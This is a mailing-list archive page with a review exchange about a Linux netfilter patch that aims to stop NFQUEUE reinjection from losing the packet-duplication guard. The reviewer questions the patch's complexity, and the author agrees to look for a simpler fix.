> --- a/net/ipv4/netfilter/ip_tables.c
> +++ b/net/ipv4/netfilter/ip_tables.c
> @@ -14,6 +14,7 @@
> #include <linux/vmalloc.h>
> #include <linux/netdevice.h>
> #include <linux/module.h>
> +#include <linux/preempt.h>
> #include <net/ip.h>
> #include <net/compat.h>
> #include <linux/uaccess.h>
> @@ -270,7 +271,9 @@ ipt_do_table(void *priv,
> * but it is no problem since absolute verdict is issued by these.
> */
> if (static_key_false(&xt_tee_enabled))
> - jumpstack += private->stacksize * current->in_nf_duplicate;
> + jumpstack += private->stacksize *
> + (current->in_nf_duplicate ||
> + (in_task() && current->in_nf_duplicate_reinject));
? Aside from me not getting the need for in_nf_duplicate_reinject, why
is the in_task() needed but for in_nf_duplicate its not needed...?
As those are bits they even reside on same address...
> {
> struct iphdr *iph;
> + bool in_nf_duplicate_reinject = in_task() &&
> + current->in_nf_duplicate_reinject;
Same question.
> #include <linux/slab.h>
> #include <linux/init.h>
> #include <linux/module.h>
> @@ -219,6 +220,9 @@ static int __nf_queue(struct sk_buff *skb, const struct nf_hook_state *state,
> *entry = (struct nf_queue_entry) {
> .skb = skb,
> .skb_dev = skb->dev,
> + .in_nf_duplicate = current->in_nf_duplicate ||
> + (in_task() && current->in_nf_duplicate_reinject) ||
> + current->in_nf_dup_netdev,
Why not simply
.in_nf_dup_netdev = current->in_nf_duplicate ?
> + bool old_in_nf_duplicate_reinject;
>
> net = entry->state.net;
> pf = entry->state.pf;
> + old_in_nf_duplicate_reinject = current->in_nf_duplicate_reinject;
> + current->in_nf_duplicate_reinject |= entry->in_nf_duplicate;
Don't understand the need to store the old current state here.
Nor the "|=".
> @@ -378,7 +382,7 @@ static void nf_reinject(struct nf_queue_entry *entry, unsigned int verdict)
> if (!hooks || i >= hooks->num_hook_entries) {
> kfree_skb_reason(skb, SKB_DROP_REASON_NETFILTER_DROP);
> nf_queue_entry_free(entry);
> - return;
> + goto out;
> }
>
> hook_entry = &hooks->hooks[i];
> @@ -417,6 +421,8 @@ static void nf_reinject(struct nf_queue_entry *entry, unsigned int verdict)
> }
>
> nf_queue_entry_free(entry);
> +out:
> + current->in_nf_duplicate_reinject = old_in_nf_duplicate_reinject;
... nor this. AFAICS the only change we really need is to move the
local_bh_disable/enable pair to cover the hook iteration is well in
nf_reinject() to avoid BH interference clearing current->in_nf_duplicate
resp. acting on wron rect "current" task state.
I think we either need to find a way to make this patch way simpler or
go back to the "no duplication/TEE in userns". As I already wrote
earlier, I see no use case for dup/TEE is namespaces, except for CI
maybe.
Also, I think there are many many other ways to make kernel eat lots of
RAM, so I don't think there is any need to ftarget nf tree either.
Sorry, I know you've been spinning on this for a while, but this is too
hard for me to comprehend.
^ permalink raw reply [flat|nested] 4+ messages in thread* Re: [PATCH nf v7 1/1] netfilter: nf_dup: preserve duplication guard across NFQUEUE
2026-10-11 14:58 ` Florian Westphal
@ 2026-10-12 1:34 ` zihan xi
0 siblings, 0 replies; 4+ messages in thread
From: zihan xi @ 2026-10-12 1:34 UTC (permalink / raw)
To: Florian Westphal
Cc: linux-kernel, netfilter-devel, mingo, peterz, juri.lelli,
vincent.guittot, dietmar.eggemann, rostedt, bsegall, mgorman,
vschneid, kprateek.nayak, pablo, phil, davem, edumazet, pabeni,
horms, kaber, jengelh, lukas, vega, root
On Sun, Oct 11, 2026 at 10:58 PM Florian Westphal <fw@strlen.de> wrote:
>
> Zihan Xi <zihanx@nebusec.ai> wrote:
> > nf_dup_ipv4() and nf_dup_ipv6() set current->in_nf_duplicate while the
> > cloned skb traverses output hooks. NFQUEUE can retain the clone and return
> > NF_STOLEN while that traversal is in progress. Once ip_local_out() or
> > ip6_local_out() returns, the task-local guard is cleared. NF_ACCEPT then
> > resumes hook traversal after the queued hook in the verdict task, where
> > the guard is no longer set. A later dup rule can clone the packet again,
> > causing repeated packet processing and resource consumption.
>
> I find this waaaaay too complex.
>
> > include/linux/sched.h | 2 ++
> > include/net/netfilter/nf_queue.h | 1 +
> > net/ipv4/netfilter/ip_tables.c | 5 ++++-
> > net/ipv4/netfilter/nf_dup_ipv4.c | 5 ++++-
> > net/ipv6/netfilter/ip6_tables.c | 5 ++++-
> > net/ipv6/netfilter/nf_dup_ipv6.c | 6 +++++-
> > net/netfilter/nf_dup_netdev.c | 13 ++++++++++++-
> > net/netfilter/nf_queue.c | 4 ++++
> > net/netfilter/nfnetlink_queue.c | 8 +++++++-
> > 9 files changed, 43 insertions(+), 6 deletions(-)
>
> Holy cow... This is waaaay to large/complex, sorry.
>
> > unsigned in_nf_duplicate:1;
> > + unsigned in_nf_dup_netdev:1; /* netdev dup output is active */
> > + unsigned in_nf_duplicate_reinject:1; /* NFQUEUE resume */
>
> I don't understand this.
>
> > struct nf_hook_state state;
> > + bool in_nf_duplicate; /* skb is on a duplication path */
>
> OK.
>
> > diff --git a/net/ipv4/netfilter/ip_tables.c b/net/ipv4/netfilter/ip_tables.c
> > index 809441ced..7c2027ef8 100644
> > --- a/net/ipv4/netfilter/ip_tables.c
> > +++ b/net/ipv4/netfilter/ip_tables.c
> > @@ -14,6 +14,7 @@
> > #include <linux/vmalloc.h>
> > #include <linux/netdevice.h>
> > #include <linux/module.h>
> > +#include <linux/preempt.h>
> > #include <net/ip.h>
> > #include <net/compat.h>
> > #include <linux/uaccess.h>
> > @@ -270,7 +271,9 @@ ipt_do_table(void *priv,
> > * but it is no problem since absolute verdict is issued by these.
> > */
> > if (static_key_false(&xt_tee_enabled))
> > - jumpstack += private->stacksize * current->in_nf_duplicate;
> > + jumpstack += private->stacksize *
> > + (current->in_nf_duplicate ||
> > + (in_task() && current->in_nf_duplicate_reinject));
>
> ? Aside from me not getting the need for in_nf_duplicate_reinject, why
> is the in_task() needed but for in_nf_duplicate its not needed...?
>
> As those are bits they even reside on same address...
>
> > {
> > struct iphdr *iph;
> > + bool in_nf_duplicate_reinject = in_task() &&
> > + current->in_nf_duplicate_reinject;
>
> Same question.
>
> > #include <linux/slab.h>
> > #include <linux/init.h>
> > #include <linux/module.h>
> > @@ -219,6 +220,9 @@ static int __nf_queue(struct sk_buff *skb, const struct nf_hook_state *state,
> > *entry = (struct nf_queue_entry) {
> > .skb = skb,
> > .skb_dev = skb->dev,
> > + .in_nf_duplicate = current->in_nf_duplicate ||
> > + (in_task() && current->in_nf_duplicate_reinject) ||
> > + current->in_nf_dup_netdev,
>
> Why not simply
>
> .in_nf_dup_netdev = current->in_nf_duplicate ?
>
>
> > + bool old_in_nf_duplicate_reinject;
> >
> > net = entry->state.net;
> > pf = entry->state.pf;
> > + old_in_nf_duplicate_reinject = current->in_nf_duplicate_reinject;
> > + current->in_nf_duplicate_reinject |= entry->in_nf_duplicate;
>
> Don't understand the need to store the old current state here.
> Nor the "|=".
>
> > @@ -378,7 +382,7 @@ static void nf_reinject(struct nf_queue_entry *entry, unsigned int verdict)
> > if (!hooks || i >= hooks->num_hook_entries) {
> > kfree_skb_reason(skb, SKB_DROP_REASON_NETFILTER_DROP);
> > nf_queue_entry_free(entry);
> > - return;
> > + goto out;
> > }
> >
> > hook_entry = &hooks->hooks[i];
> > @@ -417,6 +421,8 @@ static void nf_reinject(struct nf_queue_entry *entry, unsigned int verdict)
> > }
> >
> > nf_queue_entry_free(entry);
> > +out:
> > + current->in_nf_duplicate_reinject = old_in_nf_duplicate_reinject;
>
> ... nor this. AFAICS the only change we really need is to move the
> local_bh_disable/enable pair to cover the hook iteration is well in
> nf_reinject() to avoid BH interference clearing current->in_nf_duplicate
> resp. acting on wron rect "current" task state.
>
> I think we either need to find a way to make this patch way simpler or
> go back to the "no duplication/TEE in userns". As I already wrote
> earlier, I see no use case for dup/TEE is namespaces, except for CI
> maybe.
>
> Also, I think there are many many other ways to make kernel eat lots of
> RAM, so I don't think there is any need to ftarget nf tree either.
>
> Sorry, I know you've been spinning on this for a while, but this is too
> hard for me to comprehend.
Hi Florian,
Thanks for the detailed review. I agree that v7 is too complex, and
that I haven't adequately justified the additional
task-local and queue-entry state. In particular, a single queue-entry
flag conflates the distinct IP and netdev
duplication states, and v7 does not establish why they can safely be
merged. The in_task() checks and the save/OR/
restore logic add further complexity. I will not resend v7 as-is.
I also considered your suggestion to extend the local_bh_disable() /
local_bh_enable() pair in nf_reinject() to cover
hook traversal. Based on the code, this alone does not appear to
preserve the duplication guard across the
asynchronous NFQUEUE verdict path: nf_dup_ipv4() and nf_dup_ipv6()
clear current->in_nf_duplicate when the original
output call returns, and the baseline NFQUEUE path does not otherwise
preserve that state. When a later userspace
NF_ACCEPT verdict resumes hook traversal in nf_reinject(), the guard
is not restored. Extending the BH-disabled region
could address a separate synchronous BH-interference case, but it
would not close this state-lifetime gap.
I'll revisit the queue and reinjection paths to look for a smaller,
correct fix that keeps the IP and netdev recursion
states separate. If I cannot find a sufficiently simple solution, I'll
report back with the analysis and ask whether
you prefer the user-namespace restriction you mentioned.
Best regards,
Zihan
^ permalink raw reply [flat|nested] 4+ messages in thread
end of thread, other threads:[~2026-10-12 1:34 UTC | newest]
Thread overview: 4+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2026-10-11 11:28 [PATCH nf v7 0/1] netfilter: nf_dup: preserve duplication guard across NFQUEUE Zihan Xi
2026-10-11 11:28 ` [PATCH nf v7 1/1] " Zihan Xi
2026-10-11 14:58 ` Florian Westphal
2026-10-12 1:34 ` zihan xi
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox
all inboxes | Powered by JetHome®